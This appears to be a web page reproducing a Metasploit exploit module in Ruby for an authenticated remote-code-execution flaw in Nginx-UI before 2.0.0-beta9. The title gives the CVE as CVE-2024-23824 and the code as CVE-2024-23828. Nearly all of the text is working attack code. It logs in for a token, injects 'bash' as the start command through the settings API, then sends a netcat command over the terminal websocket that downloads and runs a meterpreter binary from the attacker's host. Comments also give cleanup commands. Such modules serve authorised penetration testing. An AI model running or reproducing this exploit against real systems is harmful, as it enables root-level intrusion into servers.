Home CVE-2024-23824 NginxUI API Injection RCE
Page

CVE-2024-23824 NginxUI API Injection RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#       This payload is configured for:
#       msfvenom -p linux/x86/meterpreter/bind_tcp --format elf
#
# This exploit is for Nginx-UI <= 2.0.0-beta9 CVE-2024-23828
#
# We go ahead and grab our authentication token by simulating a login.
# Then I hooked the json and swich start_cmd to the 'bash' execuable.
# I had to hook the bash shell spawned as root on the terminal, to
# be able to send any commands with spaces, redirects, pipes, anything
# like that, because the start_cmd will only take a literal binary, and
# thinks that anything you enter is a full bin, including spaces, etc,
# thus the event machine wrapper for websockets that ends up actually
# pushing the shell. I push the shell through netcat and subsequently
# change permissions so we can execute it.  Once shell is run, our
# handler will attempt to stage the shell.  I've only been able to get
# this to work with _bind style shells, but more testing may prove
# otherwise.
#
#                                              -- Marshall
#                                              oxagast@oxasploits.com
#
# rev. 8
#
# Exploit cleanup can be done with the following resource script, so
# rename cleanup.rc and once in the meterpreter shell, just call:
# resource /tmp/cleanup.rc
#
# execute -f /bin/rm -a "/tmp/shell"
# execute -f /usr/bin/sed -a "-e 's/bash/login/g' -i /path/to/app.ini"
# sysinfo
# getuid
#

require "msf/core"
require "socket"
require "eventmachine"
require "faye/websocket"
$stdout.sync = true

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
                      "Name" => 'Authenticated RCE via modifying "start_cmd" setting in Nginx-UI app.ini via JSON POST to API < 2.0.0-beta9',
                      "Description" => %q{
        It's been noted that in Nginx-UI before 2.0.0-beta9 an authenticaed (unpriviledged) user
        may modifiy the "start_cmd" setting in the app.ini config file remotely, via a API request.
        This exploit works in two parts, because the vulnerable code only takes a single binary
        with no spaces, options, redirects, pipes, etc.  But we can spawn bash on a terminal, which
        we are later able to hook and push full commands through.  This allows us to drop a binary
        in /tmp that contains our payload.
      },
                      "Author" => [
                        "Marshall Whittaker",    # oxagast
                      ],
                      "License" => MSF_LICENSE,
                      "Platform" => "linux",
                      "Arch" => [ARCH_X86],
                      "CmdStagerFlavor" => ["printf"],
                      "References" => [
                        ["URL", "https://github.com/0xJacky/nginx-ui"],
                        ["URL", "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-8r25-68wm-jw35"],
                        ["CVE", "CVE-2024-23828"],
                        ["CWE", "74"],
                      ],
                      "Targets" => [
                        ["Nginx-UI < 2.0.0-beta9", { "Privileged" => true }],
                      ],
                      "DefaultOptions" => {
                        "PAYLOAD" => "linux/x86/meterpreter/bind_tcp",  # lets use a x86 meterpreter stager (others may work)
                      },
                      "Payload" => {
                        "Format" => "elf",    # we need a whole executable for this, we use elf on linux
                        "Platform" => "unix",
                      },
                      "Notes" => {
                        'Stability' => [CRASH_SAFE],
                        'Reliability' => [REPEATABLE_SESSION],
                        'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        },
                      "DisclosureDate" => "2024-1-11",
                      "DefaultTarget" => 0))
    register_options(
      [
        Opt::RPORT(9000),
        OptString.new("RHOST", [true, "The target machine's IP", ""]),
        OptString.new("USER", [true, "The user to auth as", ""]),
        OptString.new("PASS", [true, "The user's password", ""]),
        OptString.new("LHOST", [true, "This machine's IP", ""]),
        OptInt.new("LSERVPORT", [true, "The port to listen on for pushing the payload", 6789]),
      ], self.class
    )
    register_advanced_options([
      OptBool.new("HANDLER", [true, "Start an exploit/multi/handler job to receive the connection", true]),
    ])
    deregister_options("VHOST", "Proxies", "RHOSTS", "SSL")
  end

  def valid_json?(string)
    !!JSON.parse(string)
  rescue JSON::ParserError
    false
  end

  def listen(payl, lsp)
    print_status("Starting payload push socket...")
    serv = TCPServer.new("#{lsp}")
    s = serv.accept
    s.write("#{payl}")
    print_status("Payload pushed.")
    s.close
    print_good("Shell executing... o_o wait for it!!!")
  end

  def get_token(user, pass)
    # this uses our login information to grab our auth token for later use
    print_status("Attempting to pull auth token")
    jsond = { :name => user, :password => pass }.to_json
    jsondat = { :name => user, :password => pass }
    res = send_request_raw(
      "uri" => "/api/login",
      "method" => "POST",
      "keep_cookies" => true,
      "ctype" => "application/json",
      "data" => { :name => user, :password => pass }.to_json,
    )
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
    if valid_json?(res.body) == true
      loginres = JSON.parse(res.body)
      tok = loginres["token"]
      if (!tok.nil? && tok.to_s.length >= 120) # token len is ~125 chars
        print_good("Authentication token received.")
        print_good("Token: #{tok}")
        return tok
      else
        fail_with(Failure::NoAccess, "We did not get a token in the response! This usually means a bad username or password was provided.")
      end
    else
      fail_with(Failure::UnexpectedReply, "The returned JSON data is malformed!  Cannot receive authtentication token.")
    end
  end

  def injectcmd(token)
    # here we inject the bash command for the terminal to run (this part abuses the vuln)
    payl =    %Q[{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"","reload_cmd]
    payl << %Q[":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","h]
    payl << %Q[ttp_port":"9000","run_mode":"debug","jwt_secret":"...","node_secret":"...","http_challenge_port":"9180","email":"..]
    payl << %Q[.","database":"foo","start_cmd":"bash","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}]
    res = send_request_raw(
      "uri" => "/api/settings",
      "method" => "POST",
      "keep_cookies" => true,
      "ctype" => "application/json",
      "headers" => { "Authorization" => token },
      "data" => payl,
    )
    if res.code == 200
      print_good("Exploit returned good code 200!")
      rhst = datastore["RHOST"]
      rprt = datastore["RPORT"]
      lhst = datastore["LHOST"]
      lsprt = datastore["LSERVPORT"]
      print_status("Base64 encoding original token for terminal session...")
      wstok = Base64.encode64(token)
      wstok = wstok.tr("\n","")
      print_good("Token: #{wstok}")
      # setup and build our payload
      pay = framework.modules.create(datastore["payload"])
      pay.datastore["LHOST"] = datastore["LHOST"]
      pay.datastore["LPORT"] = datastore["LPORT"]
      print_status("Generating payload...")
      payl = pay.generate_simple({ "Format" => "elf" })
      if payl == ""
        fail_with(Failure::PayloadFailed, "Payload generation failed!  Try a different payload?")
      end
      print_good("Payload generated!")
      Thread.new do
        listen(payl, lsprt)
      end
      Thread.new do
        print_status("Receiving and changing permissions on shell...")
        EM.run {
          ws = Faye::WebSocket::Client.new("ws://#{rhst}:#{rprt}/api/pty?token=#{wstok}")
          ws.on :open do |event|
            # this injects and executes the payload on the terms websocket instance
            ws.send("{\"Data\":\"nc #{lhst} #{lsprt} > /tmp/shell && chmod 777 /tmp/shell && /tmp/shell &\\r\",\"Type\":1}")
            print_status("Waiting 6 seconds for return...")
            sleep 6
            ws.close
          end
          ws.on :message do |event|
            p [:message, event.data]
          end
          ws.on :close do |event|
            fail_with(Failure::Unknown, "If our shell was pushed, we should never make it here!")
            ws = nil
          end
        }
      end
    end
  end

  def exploit
    # we pull then check our variables
    user = datastore["USER"]
    pass = datastore["PASS"]
    rhst = datastore["RHOST"]
    rprt = datastore["RPORT"]
    lhst = datastore["LHOST"]
    lsprt = datastore["LSERVPORT"]
    if user == ""
      fail_with(Failure::BadConfig, "You need to enter a valid username to grab the authentication token!")
    end
    if pass == ""
      fail_with(Failure::BadConfig, "You need to enter a valid password to grab the authentication token!")
    end
    if rhst == "" || rprt == "" || lhst == "" || lsprt == ""
      fail_with(Failure::BadConfig, "You need to set RHOST, RPORT, LHOST, and LSRVPORT properly.")
    end
    # login routine
    token = get_token(user, pass)
    # exploitation routine
    injectcmd(token)
  end
end